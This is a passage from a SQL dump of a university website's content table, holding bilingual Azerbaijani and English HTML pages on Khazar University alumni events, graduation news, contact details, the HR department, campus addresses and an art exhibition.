vurğuladılar və bu barədə səmimi söhbət aparılmasının gələcək fəaliyyət\r\nüçün faydalı olacağını qeyd etdilər.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Daha sonra məzunlarla\r\ndiskussiya şəkilində müzakrə aparıldı.<br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3><strong>Tələbələr üçün master\r\nklass keçirildi</strong></h3><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">2016-cı il oktyabrın 31-də Xəzər Universitetinin Məzunlar Assosiasiyası və Xəzər Universitetinin Məzunlarla İş Mərkəzi magistr və 3-cü və 4-cü kurs bakalavr tələbələri üçün “Uğurlu karyeranın qurulması yolları” mövzususnda master klass keçirdi. Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı iştirakçıları salamladı və silsilə tədbirlər kimi keçirilməsi nəzərdə tutulan master klasların tələbələr üçün əhəmiyyətini vurğuladı.&nbsp;Məzunlar Assosiasiyasının prezidenti, “Bank of Baku” ASC İdarə Heyətinin sədr müavini Eldar Həmidov özünün karyera təcrübəsi barədə danışdı və tələbələrə faydalı tövsiyələr verdi.  <br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in\"\"=\"\">Xəzər\r\nUniversitetinin məzunu Laura Həmidovanın rəhbərlik etdiyi “FireWorks” şirkətinin\r\nəməkdaşları “Uğurlu karyeranın qurulması yolları” mövzusunda geniş təqdimat\r\nkeçirdilər.İnteraktiv\r\nşəraitdə keçən təqdimatda yerli və xarici tələbələr fəal iştirak edirdilər.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3><strong>Məzunlar Assosiasiyasının təsis konfransı keçirildi</strong></h3><p>2016-cı il iyunun 4-də Xəzər Universitetinin “Mərmər” zalında Xəzər Universitetinin Məzunlar Assosiasiyasının təsis konfransı keçirildi. Məzunlarla iş şöbəsinin müdiri, Təşkilat Komitəsinin sədri Baba Bayramlı konfransı giriş sözü ilə açaraq, assosiasiyanın yaradılması ilə bağlı aparılan işlər barədə iştirakçılara məlumat verdi. </p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı konfrans iştirakçılarını salamladı, assosiasiyanın məqsəd və fəaliyyətləri barədə öz mülahizələrini söylədi və məzunlara assosiasiyanın gələcək fəaliyyətində uğurlar arzuladı. Baba Bayramlı Məzunlar Assosiasiyasının Əsasnaməsini, onun köməkçisi Vəzifə Kərimzadə isə <strong><em>Facebook</em></strong> səhifəsi barədə təqdimat etdikdən sonra, Assosiasianın struktur bölmələrinin yaradılması ilə bağlı müzakirə aparıldı və seçkilər keçirildi. Universitetin məzunu, “Bank of Baku”-nun sədr müavini Eldar Həmidov açıq səsvermə yolu ilə Assosiasiya Şurasının prezidenti seçildi. Assosiasiya Şurasının və İcra Komitəsinin üzvləri də seçildikdən sonra konfrans öz işini başa çatdırdı.</p><p><br></p><h3><strong style=\"outline:none;color:#3a3b3b\"><hr noshade=\"noshade\" style=\"width:100%;height:1px\">Məzunlarından ibarət işçi qrula görüş</strong></h3><p><span style=\"outline:none;color:#3a3b3b\">2016-cı il yanvarın 23-də Xəzər Universitetinin məzunlarından ibarət işçi qrupu ilə universitet rəhbərliyinin görüşü keçirildi. Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı görüşü açaraq iştirakçılara işçi qrupun yaradılmasının məqsədləri barədə qısa məlumat verdi.  <br></span></p><p>Sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı məzunları səmimi salamladı və Məzunlar Assosiasiyasının yaradılmasının həm məzunlar, həm də&nbsp; Xəzər Universiteti üçün faydalı nəticələr verəcəyinə inandığını bildirdi. O, bu sahədə beynəlxalq təcrübənin öyrənilməsinin vacib olduğunu xüsusi vurğuladı.</p><p>İşçi qrupun üzvlərindən “Bank of Baku”nun sədr müavini Eldar Həmidov, “Yarat” İncəsənət Mərkəzinin Əlaqələr üzrə meneceri Hökumə Kərimova, “Nar Mobile” şirkətinin Bazarın Tədqiqi üzrə meneceri Səlbin Ələkbərova, ADA Universitetinin müəllimi Dr. Rəşad İbadov,&nbsp; “Əmrahbank”ın sədrinin müşaviri Namiq Kərimov, Bakı Hüquq Mərkəzinin məsləhətçisi Mətin Əsgər, SOCAR-ın İnsan Resursları departamentinin əməkdaşı Nigar Kərimova, Xarici İşlər Nazirliyinin nümayəndəsi Elmar Bağırov və Xəzər Universitetinin rektoru Dr. Hassan Niknafs çıxış edərək, işçi qrupun fəaliyyəti, Məzunlar Assosiasiyasının yaradılması mexanizmi və fəaliyyət istiqamətləri ilə bağlı konkret təkliflər irəli sürdülər.</p><p>Müzakirələrə yekun vuran professor Hamlet İsaxanlı irəli sürülən təkliflərə öz münasibətini bildirdi və qarşıda duran vəzifələrlə bağlı işçi qrupa tövsiyələrini verdi.</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><strong style=\"outline:none;color:#3a3b3b\">Xəzər Universiteti məzunları ilə görüş</strong><br><p><span style=\"outline:none;color:#3a3b3b\">2015-ci il&nbsp; dekabrın 26-da Xəzər Universitetinin “Mərmər” zalında universiteti müxtəlif illərdə bitirmiş məzunların bir qrupu ilə görüş keçirildi. Xəzər Universitetinin kamera orkestrinin ifasında səslənən maraqlı müsiqi proqramının ardınca görüşün rəsmi açılışı oldu. Məzunlarla İş Mərkəzinin direktoru Baba Bayramlı görüş iştirakçılarını səmimi salamladı və onlara bugünkü görüşün məqsəd və gözləntiləri barədə məlumat verdi. Xəzər Universitetinin rektoru Dr. Hassan Niknafs öz çıxışında məzunları Xəzər Universitetində görməkdən məmnun olduğunu bildirdi və onların təhsil aldıqları universitetlə əlaqələrinin daha da möhkəmləndirilməsi ilə bağlı fikirlərini bölüşdü. Baba Bayramlı Xəzər Universitetinin keçdiyi inkişaf yolu haqqında qısa məlumat verdikdən sonra sözü məzunlara verdi. “BP Azərbaycan” Şirkətinin Hüquq şöbəsinin müşaviri Pərviz Təhməzov, “Bank of Baku”nun sədr müavini Eldar Həmidov, “Nar Mobile” Şirkətinin Bazarın tədqiqi üzrə meneceri Selbin Ələkbərova, Təhsil Nazirliyi Beynəlxalq əməkdaşlıq şöbəsinin müdiri Muxtar Məmmədov, ADA Universitetinin müəllimi Rəşad İbadov, “Yarat” İncəsənət Mərkəzinin Əlaqələr üzrə rəhbəri Hökumə Kərimova və “Dəmirbank”ın Korporativ müştərilər üzrə meneceri Ramal Əhmədov çıxış edərək, məzunlarla Xəzər Universiteti arasında sistemli əlaqələrin qurulması yolları və bu məqsədlə yaradılması nəzərdə tutulan Xəzər Universitetinin Məzunlar Assosiasiyasının vəzifələri və fəaliyyət istiqamətləri ilə bağlı konkret təkliflər irəli sürdülər.  <br></span></p><p>Görüş daha sonra çay süfrəsi ətrafında davam etdirildi.</p>'),(2465,1491,'en','Events','Events','<h3>43<sup>rd</sup> Graduation Ceremony of Khazar University conducted</h3><p>On October 15, 2017, the 43<sup>rd</sup> graduation ceremony of Khazar University was held at the Opera Studio of Baku Music Academy named after Shovkat Alakbarova. The ceremony was attended by the university administration, professors, teachers, students, parents and guests. It started with the National Anthem of the Azerbaijan Republic.&nbsp;</p><p>Dr. Hassan Niknafs, the rector of Khazar University, congratulated the graduates and wished them success in their future life and career.</p><p>It was noted that for 26 years, 3271 Bachelor and 685 Master degree students, including today\'s graduates (233 BA and 62 MA students), graduated from Khazar University. 811 of those graduates earned Honours diploma.</p><p>The education, knowledge and skills gained at Khazar University prepare them for a successful career in their selected field. Some graduates work for state organizations, private companies, manage large projects and some run their own businesses.</p><p>The congratulatory videos of former graduates of Khazar University who are currently working in different countries of the world were demonstrated at the ceremony. Then, the first graduates of Khazar University were invited to congratulate the graduates.</p><p>Rashad Ibadov, Associate Professor at ADA University, a Khazar University Law School graduate, delivered a speech on behalf of the previous graduates of the university.</p><p>Then, the ceremony of awarding certificates started. Dr. Hassan Niknafs, the rector of the University; Professor Mahammad Nuriyev, the vice rector of Khazar University for Academic Affairs; Dr. Isakhan Isakhanli, the vice rector for Administration and Student Affairs, deans of schools, heads of departments, and instructors presented the certificates. Graduate Student Oath Ceremony was held after the presentation and memory photos were taken.</p><p>Professor Hamlet Isakhanli delivered a speech at the ceremony and wished the graduates success in their new paths of life. He talked about a favourable educational environment at the university emphasising that it does not only prepare high-quality professionals but also raise a thoroughly developed younger generation. Professor also highlighted tense and efficient work of professor-teacher staff, the university’s close relationships with the world\'s leading universities, the constant growth of material and technical base of the university and noted that Khazar University has always been distinguished in the rankings of international organizations and holds the first place among Azerbaijani universities.</p><p>The event continued with a concert program prepared by the faculty members and the girls\' dance group of the university. At the end, the ceremony ended with a spectacular performance of the choir composed of teachers and students.</p><p><br></p><h3><strong><hr noshade=\"noshade\" style=\"width:100%;height:1px\">Meeting with Alumni 1996-1997</strong>  <br></h3>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On 15 May, 2017, a meeting with 1996-1997 alumni of\r\nKhazar University was held at the university. &nbsp;Baba Bayramli, Director of Alumni Relations\r\nCentre, greeted alumni and gave information about the objectives and\r\nexpectations of the meeting. Later, Dr. Hassan Niknafs, Rector of Khazar University,\r\nnoted the importance of establishing close relations between university and\r\nalumni and expressed hope that such alumni cooperation will have successful\r\noutcomes. Professor Mohammad Nuriyev who expressed his pleasure of meeting with\r\nhis former students encouraged alumni to participate actively in the university\r\nlife and noted that publishing series of articles about their successes on “Khazar\r\nReview” will be very interesting and useful for students. Ramal Ahmadov, Vice-President\r\nof Khazar University Alumni Association gave information about activity of the\r\norganization and invited alumni to join the association and become members. Graduates\r\nAzer Gasimov, Finance Manager of “BP- Azerbaijan” company, Mirbaghir\r\nMirbabayev, Branch Manager of “Pasha Holding”, Anar Karimov, Head of the Delegation\r\nof Hungarian Chamber of Commerce to Azerbaijan and Georgia, Aydin Babayev, Executive\r\nDirector of \"Marketsaz\" company, Murad Aslanov, &nbsp;Branch Manager of<strong> </strong>\"Aristocrat\" tourism company, Namig Ibrahimov, Deputy\r\nDirector of the Social Development Fund for IDPs of the Azerbaijan Republic,\r\nRufat Mahmud, &nbsp;Chairman of the Board of\r\nTrustees of the Public Association for ARPA, Yusif Hajiyev, Director of \"Barama\r\nKM\" company, Yusif Mammadli, &nbsp;representative of \"Bioworks company on\r\nCaspian region, Khaled Ajalov, &nbsp;Financial\r\nChief &nbsp;of \"Nort West\r\nConstruction\" company, Kamran Iskandarov, &nbsp;Sales Manager of \"SOLUS Ltd.\" company,\r\nSamir Nuriyev, Manager of \"Real LLC\" company, Kamran Behbudov,\r\nExecutive Director of \"Azintellectservis\" company, Eldar Latifov, &nbsp;Manager of \"Ship Rock LLC\" company and\r\nYashar Iskandarov, &nbsp;Founder and Director of\r\n\"GABEG Ltd\" company made speeches and expressed their pleasure of attending\r\nsuch a meeting and emphasized the importance of &nbsp;organizing such kind of meetings regularly and\r\nestablishing closer relationships with the university.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Roza Arazova, Head of the Department of History and\r\nArcheology, Firangiz Nasirova, Senior Instructor of the Department of English\r\nLanguage and Literature, Lyudmila Sotova, Director of Quality Assurance Center and\r\nJeyhun Mammedov, Dean of the School of Economics and Management, were among the\r\nparticipants of the meeting as well.</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>Masterclass for Students of School of Economics and Management</strong></h3>\r\n<p><span style=\"color:#252525;font-size:18px\">On February 25, 2017, a masterclass on “Bank Risks Management” was jointly organized by Khazar University Alumni Association and Alumni Relations Center for students of the School of Economics and Management. Baba Bayramli, Director of Alumni Relations Centre, welcomed participants and stressed the importance of the topic of the masterclass. Eldar Hamidov, Khazar University Alumni Association president and chairman of Bank of Baku JSC, presented the logo and slogan of Khazar University Alumni Association. Then Khazar University alumni – Ramal Ahmadov, Head of Department of Damir Bank JSC and Nigar Jabbarova, collaborator of Bank of Baku JSC, made a presentation on “Bank Risks Management”. The masterclass continued with&nbsp;&nbsp;interesting discussions and debates with the active participation of Elvin Mirzayev, instructor of the School of Economics and Management.&nbsp;</span></p><p><span style=\"color:#252525;font-size:18px\"><br></span></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3><strong>School of Economics and Management Meets with Alumni</strong>  <br></h3><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><span style=\"text-indent:0.25in\">On\r\nDecember 10, 2016, the university administration held a meeting with 2016\r\nbachelor-level graduates of the School of Economics and Management. Baba\r\nBayramli, Director of the Center for Alumni Relations, opened the meeting by\r\ngreeting the alumni and calling on them to actively participate in discussions.</span></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dr.\r\nIngilab Ahmadov, Dean of the School of Economics and Management, gave the\r\nparticipants detailed information about the School’s MBA program and\r\nrecommended that they consider continuing their education at Khazar. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Dr.\r\nHassan Niknafs, President of the University, and Dr. Isakhan Isakhanli, Vice\r\nPresident for Administration and Student Affairs, emphasized that alumni’s\r\nthoughts about Khazar University are important. They noted that sincere\r\ndiscussion with the graduates would be useful for the university in the future.\r\n</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">Then\r\na discussion was held with the alumni.&nbsp;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3><strong>Masterclass\r\nfor Students&nbsp;</strong></h3><p>On October 31, 2016, Khazar University Alumni\r\nAssociation and Khazar University Center for Alumni Relations held a\r\nmasterclass for third- and fourth-year bachelor’s students on “Ways to Build a\r\nSuccessful Career.” Baba Bayramli, Director of the Center for Alumni Relations,\r\ngreeted the participants and emphasized the importance of this masterclass\r\nseries which is organized for students. Eldar Hamidov, Vice Chair of the\r\nExecutive Board of Bank of Baku and the President of the Alumni Association,\r\nspoke about his own career experience and gave the students useful advice. </p><p>A presentation was also made by employees of the\r\nFireworks HRM Company run by Khazar University alumna Laura Hamidova. </p>\r\n<p>Local and international students participated in the\r\ninteractive presentation.&nbsp;</p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3><strong>Constituent Conference of Alumni Association</strong></h3><p>On June 4, 2016, a Constituent Conference of the Khazar University Alumni Association was held in the university’s Marble Hall. Baba Bayramli, Chairman of the Organizing Committee, opened the conference with information about the process of establishment of the Association. </p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, greeted the participants, shared his views on the objectives and activities of the Association, and wished the alumni success in their future activities. Baba Bayramli made a presentation of the Association’s Facebook page with the assistance of Vazifa Karimzada as well as a presentation of the Alumni Association Regulations. A discussion was held about the structural divisions of the Association and an election was held. Eldar Hamidov, Khazar alumnus and Vice Chairman of Bank of Baku, was elected president of the Association Board. After members of the Association Board and Executive Committee were selected, the conference was completed.&nbsp;</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><h3><strong style=\"outline:none;color:#3a3b3b\"><span style=\"outline:none\">Meeting of Alumn</span><span style=\"outline:none;color:#3a3b3b\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media7708808609948874\" width=\"150\" height=\"100\">i Working Group</span></strong></h3><p><span style=\"outline:none;color:#3a3b3b\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media19805173306495916\" width=\"150\" height=\"100\">On January 23, a working group of Khazar University alumni met with the university administration. Baba Bayramli, Director of the Center for Alumni Relations, opened the meeting by giving brief information about the objectives for the working group.  <br></span></p><p>Then Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, greeted the alumni and expressed his confidence that the creation of an Alumni Association would be beneficial both to the alumni and to the university. He emphasized the importance of learning from international experience in this area.</p><p>The following participants in the meeting made speeches and suggestions about the working group, the creation of the Alumni Association, and its activities: Eldar Hamidov, Vice Chairman of Bank of Baku; Hokuma Karimova, Manager of Public Relations for YARAT Arts Center; Salbin Alakbarova, Market Research Manager of Nar Mobile; Dr. Rashad Ibadov, instructor at ADA University; Namig Karimov, Adviser to the Chairman of Amrahbank; Metin Asgar, Legal Adviser of Baku Legal Center; Nigar Karimova, employee of SOCAR Human Resources Department; Elmar Baghirov, representative of the Ministry of Foreign Affairs; and Dr. Hassan Niknafs, President of Khazar University.</p><p>Professor Hamlet Isaxanli closed out the discussion with his own suggestions and recommendations to the Working Group.</p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"> <h3><strong style=\"outline:none;color:#3a3b3b\">Khazar University Alumni Reunion</strong></h3><p><span style=\"outline:none;color:#3a3b3b\">On December 26, 2015, a reunion was held in the Khazar University Marble Hall for alumni from various years. The event officially opened with a concert of the Khazar University Chamber Orchestra. Then Baba Bayramli, Alumni Center Director, greeted the guests and explained the objectives and expectations for the reunion. Dr. Hassan Niknafs, Khazar University President, said he was happy to see alumni back at Khazar and shared his thoughts about further development of their connections to their alma mater. Baba Bayramli shared a brief history of Khazar’s development before passing the floor to alumni.&nbsp;</span></p><p><span style=\"outline:none;color:#3a3b3b\"></span>Alumni who made speeches and suggestions for the Alumni Center included Parviz Tahmazov, Advisor to BP Azerbaijan’s Legal Department; Eldar Hamidov, Deputy Chairman of Bank of Baku; Salbin Alakbarova, Market Research Manager for Nar Mobile; Mukhtar Mammadov, Head of the International Affairs Department of the Ministry of Education; Rashad Ibadov, instructor at ADA University; Hokuma Karimova, Head of Public Relations at YARAT Fine Arts Center; Ramal Ahmadov, Manager of Corporate Clients at Damirbank.</p><p>Then the event continued with refreshments.</p>'),(2466,1492,'az','Əlaqə','Əlaqə','<p><strong>Xəzər Universiteti</strong></p><p><strong>Məhsəti küçəsi 41</strong>, 1096,&nbsp;Bakı,&nbsp;Azərbaycan</p><p><strong>Otaq</strong>&nbsp;&nbsp;<strong>506</strong>,&nbsp;Məzunlarla İş Mərkəzi</p><p><strong>Tel:</strong>&nbsp;(+994&nbsp;12) 421 79 16 (274)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:bbayramov@khazar.org\">bbayramov@khazar.org</a>&nbsp;(<strong><a href=\"http://www.khazar.org/files/politics_depart/Baba_Bayramli_CV.pdf\">Baba Bayramlı</a></strong>)</p>'),(2467,1492,'en','Contact Us','Contact Us','<p><strong>Khazar University &nbsp;</strong></p><p><strong>41&nbsp;Mehseti Street</strong>, 1096,&nbsp;Baku,&nbsp;Azerbaijan</p><p><strong>Room</strong>&nbsp;506,&nbsp;Alumni Outreach Centre</p><p><strong>Phone:</strong>&nbsp;(99 412) 421 79 16 (274)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:bbayramov@khazar.org/\"></a><a href=\"mailto:bbayramov@khazar.org\">bbayramov@khazar.org</a>&nbsp;(<strong><a href=\"http://www.khazar.org/files/politics_depart/Baba_Bayramli_CV.pdf\">Baba Bayramli</a></strong>)  </p>'),(46,46,'en','Organisational Chart','Organisational Chart','<a href=\"http://www.khazar.org/files/letters/organization%20chart.pdf\"><img src=\"/files/letters/organization-chart.jpg\" style=\"width:828px;height:1179px;vertical-align:baseline\"></a>'),(1800,1115,'en','Khazar Instructor Participates in Several Academic Events in Turkey','From May 11-14, 2016, Araz Aslanli, instructor at Khazar University, participated in several academic events in the Turkish Republic.','<p>From May 11-14, 2016, Araz Aslanli, instructor at Khazar University, participated in several academic events in the Turkish Republic. On May 11, Aslanli participated in the Turkey-Russia Tension and Effects on the Region Conference coordinated by Gazi University Strategic Research Center in Ankara. He made a presentation on “The Position of South Caucasus Countries on the Turkey-Russia Tension.”</p><p>On May 12, Aslanli gave a lecture at the “Politics on Iran’s Karabakh Problem and Latest Processes in the Armenian-Azerbaijani Conflict Zone” conference organized in the afternoon by Tabriz Research Institute in Ankara.</p><p>On May 13, he made a presentation on “Azerbaijani-Turkish Military Relations” at the I International Turkish-Azerbaijani Relations Symposium organized by Azerbaijan Tourism University and Kastamonu University in the city of Kastamonu, Turkey.</p><p>&nbsp;</p>'),(47,47,'en','Facts and Statistics','Facts and Statistics','<p style=\"text-align:justify\">Khazar university is a private educational institution for undergraduate, graduate and professional studies promoting advanced study and&nbsp;research, educational policy and development in the Republic of Azerbaijan.&nbsp;</p><p style=\"text-align:justify\">Khazar university is the first University in Azerbaijan composed of multiple independent schools united by the same academic policy and principles, which offer a wide scope of diverse majors in Arts, Humanities and Social Sciences, Architecture, Engineering and Applied Sciences, Economics, Management and Business Administration, Education.&nbsp;</p><p style=\"text-align:justify\">Khazar also one of the leading universities in Azerbaijan in terms its relations with industry.&nbsp;</p><p style=\"text-align:justify\">Today the University has established effective relations with the leading local and international companies.&nbsp;</p><p style=\"text-align:justify\">Professors of Khazar have earned recognition and leadership in their professional fields or are business leaders, artists and lawyers with national and international reputations.&nbsp;</p><p style=\"text-align:justify\">Graduate studies including Professional, Ph.D. and Master programs, and the most extensive MBA program in Azerbaijan, have an important place in the University\'s education profile.&nbsp;</p>'),(48,48,'en','Symbols','Symbols','<p>Khazar University was founded in 1991.</p><p>The university has a logo, a symbol, and the following official songs:</p><p><strong><a href=\"http://www.khazar.org/en/menus/803/khazar_university_hymn\">Khazar University Hymn</a></strong>,&nbsp;Lyrics:&nbsp;Hamlet Isakhanli<a href=\"http://en.wikipedia.org/wiki/Hamlet_Isakhanli\" title=\"Hamlet Isakhanli\"></a>;&nbsp;Music:&nbsp;Vasif Adigozelov and Ramiz Mustafayev.</p><p><strong><a href=\"http://www.khazar.org/en/menus/804/khazar_university_student_waltz\">Khazar University Student Waltz</a></strong>,&nbsp;Lyrics<a href=\"http://www.khazar.org/en/menus/804/khazar_university_student_waltz\">:</a>&nbsp;Hamlet Isakhanli<a href=\"http://en.wikipedia.org/wiki/Hamlet_Isakhanli\" title=\"Hamlet Isakhanli\"></a>;&nbsp;Music:&nbsp;Ramiz Mustafayev.</p><p><strong><a href=\"http://www.khazar.org/en/menus/805/dunya_school_s_song\">Dunya (World) School Song</a></strong>,&nbsp;Lyrics:&nbsp;Hamlet Isakhanli;&nbsp;Music:&nbsp;Nailakhanim Isayeva.</p><p>The university has two annual graduation ceremonies, held in March and September.</p><p>As part of the ceremonies that are especially prepared in their honor, graduates take an oath and receive their diplomas.</p><p><strong><a href=\"http://www.khazar.org/en/menus/806/mezunluq_andi\">Graduates\' oath:</a></strong></p><p>“I swear to apply all my knowledge and skills gained at Khazar University for the benefit of my family, my people and my country!</p><p>I swear always to honor&nbsp;Khazar University!”</p>'),(1663,1025,'en','Human Resources',' Human Resources','<br><p>HR Department of Khazar University is responsible for all of the functions that deal with the needs and activities of the people including these areas of responsibility.&nbsp;</p><ul><li><p>Recruiting</p></li><li><p>Training</p></li><li><p>Organization Development</p></li><li><p>Communication</p></li><li><p>Performance Management</p></li><li><p>Coaching</p></li><li><p>Policy Recommendation</p></li><li><p>Compensation&nbsp;and Benefits</p></li><li><p>Team Building</p></li><li><p><a href=\"http://www.khazar.org/en/menus/886/personnel_office\">Personnel Office</a></p></li></ul><p style=\"text-align:justify\">HR department works together with all academic and other departments of Khazar University which are interested in and engaged with the work of human resources.&nbsp;HR department is in constant search for suitable candidates for positions within the university. It is done using Career Center of Khazar University, specialized outside agencies, and by contacting all the master and PhD students studying abroad and planning to come back to Azerbaijan.&nbsp;</p><p style=\"text-align:justify\">HR department also takes part in hiring and firing processes.After the person is hired, HR department provides orientation process for new employee. It also prepares and conducts specialized professional trainings, seminars and workshops for existing employees.&nbsp;</p><p style=\"text-align:justify\">HR department is responsible for acknowledging employees for their hard work and giving out certificates and reward.After the hiring and orientation processes key performance indicators are set for each employee.&nbsp;</p><p style=\"text-align:justify\">HR department may be responsible for creating new policies when there is a confusion regarding behavior and handling situations. Therefore HR department holds an ongoing review process of the employee performance.</p><p style=\"text-align:justify\">HR director helps to inspire employees, build their spirits and motivate them to work better.</p><p style=\"text-align:justify\"><br></p>  <p style=\"text-align:justify\"><br></p><h3>Contact:</h3><p style=\"text-align:justify\"><img src=\"/files/letters/ozal_m.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/letters/CV_resume_ozal_to_publish.pdf\">Ozal Mammadli</a></strong></p><p style=\"text-align:justify\"><strong>Manage</strong><strong>r</strong></p><p style=\"text-align:justify\"><strong>E-mail: </strong><a href=\"mailto:hr@khazar.org\">hr[at]khazar.org</a>  </p><p style=\"text-align:justify\"><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (212)  </p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p>'),(1664,1033,'en','About Us','About Us','<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><br></p><br>'),(49,49,'en','Directory','Directory','<br><p style=\"text-align:center\"><strong>The University functions at 6 campuses and 12 buildings</strong></p>\r\n<p><strong><br></strong></p><p><strong>Neftchiler Campus – 3 buildings:</strong></p><ul><li>Address: 41 Mehseti St. (Teaching and Administration)</li><li>Address: 41 Mehseti St. (Teaching and Conference hall)</li><li>Address: 32 Shirin Mirzayev St. (Guest house and Dormitory)</li></ul><p><strong><br></strong></p><p><strong>Downtown Campus – 1 building:</strong></p><ul><li>Address: 122 Bashir Safaroghlu St. (Teaching, Fikrat Amirov&nbsp;Conference-Concert Center)</li></ul><p><strong><br></strong></p><p><strong>Binagadi Campus – 4 buildings:</strong></p><ul><li>Address: 9 Ajami Nakhchivani St, Baku (Laboratories, Sports complex, Training Center, “Dunya” school)</li></ul><p><br></p><p><strong>Buzovna Campus – 2 buildings:</strong></p><ul><li>Address: Buzovna settlement, seashore (Conference ad Leisure centre)</li></ul><p><br></p><p><strong>20 January Campus – 1 building:</strong></p><ul><li>Address: 88 A H.Zardabi ave. (Day nursery and kindergarten)</li></ul><p><br></p><p><strong>Sumgayit Campus – 1 building:</strong></p><ul><li>Address: 44<sup>th</sup> Block, 37 Baku St. (Training Center, Sports complex, “Dunya” school)</li></ul><p><br></p><p><strong>Note</strong>: A new educational building will be constructed in about 0.35 hectares of area in Ajami Nakhchivani St. (close to Binagadi Campus)</p>'),(2030,1230,'en','Faculty Members and Students at Young Artist\'s Exhibition','On June 21-23, an art exhibition of the young artist Afshan Asedova was held in Exhibition Hall named after Vajiha Samadova...','<p>On June 21-23, an art exhibition of the young\r\nartist Afshan Asedova was held in Exhibition Hall named after Vajiha Samadova.\r\nIt was coordinated jointly by the Ministry of Culture and Tourism and Union of\r\nArtists of Azerbaijan. Associate Professor Zulfiyya Sadigova, Head of the Department\r\nof Music and Fine Arts, Khazar University, textile artist Afaq Kerimova,\r\ninstructor at at the department, university`s artist Mir Rafig Abdulrahimov,\r\ndesigner of “Khazar Review” Nigar Aydemirova and students participated in the\r\nopening ceremony of the exhibition. </p>\r\n<p>People`s artist, Aghali Ibrahimov, secretary of the\r\nUnion of Artists of Azerbaijan, Honored Art Worker Ziyadkhan Aliyev, <a href=\"https://www.google.com.tr/url?sa=t&amp;rct=j&amp;q=&amp;esrc=s&amp;source=web&amp;cd=2&amp;cad=rja&amp;uact=8&amp;ved=0ahUKEwia8Y3qxsrNAhUBvhQKHfbFBQQQFgghMAE&amp;url=http%3A%2F%2Fen.president.az%2Farticles%2F10720&amp;usg=AFQjCNFnGu6CHDvfeprmx8E4GHJAFNpHQA\">&nbsp;the\r\nchairman of the German-Azerbaijani Society</a>, culturologist Chingiz\r\nAbdullayev made speeches indicating the importance of the exhibition. </p>\r\n<p>It was mentioned that, the art works presented to\r\nthe exhibition by the talented artist were in batik, graphic, fashion genres.\r\nThese art works, which are of great interest both for their genre diversity and\r\nprocessing techniques, are the products of rich horizon and hard work. About 40\r\nart works demonstrated at the exhibition covered different topics. Reflecting\r\nemotions via colors and philosophical approach were the basic subject of the\r\nworks. </p>\r\n<p>In her speech A.Asadova extended her gratitude to\r\nthose who contributed to the organization of the exhibition. Then the\r\nparticipants got familiarized with the exhibition. An article about the opening\r\nceremony of the exhibition was published on AZERTAG news agency, (<em><a href=\"http://azertag.az/xeber/Genc_ressam_Afsan_Asedovanin_ferdi_sergisi_achilib-963504\">http://azertag.az/xeber/Genc_ressam_Afsan_Asedovanin_ferdi_sergisi_achilib-963504</a></em>),\r\n&nbsp;Salamnews, (<em><a href=\"http://az.salamnews.org/az/news/read/224735\">http://az.salamnews.org/az/news/read/224735</a></em>),\r\nAz.Baku(<em><a href=\"http://az.baku-art.com/index.php?newsid=16464#.V20cUfmLTcs\">http://az.baku-art.com/index.php?newsid=16464#.V20cUfmLTcs</a></em>).</p>\r\n<p>&nbsp;</p>'),(50,57,'en','news','news',''),(51,58,'en','teser','test',''),(52,59,'en','test_1','test_1 inside','<strong><h2>test_1 inside</h2></strong><h3>test_1 inside</h3><p><a href=\"http://khazar.wilsa.net/en/menus/51/\">test_2&nbsp;inside</a></p>'),(53,60,'en','link1','link1','my link 1 inside research 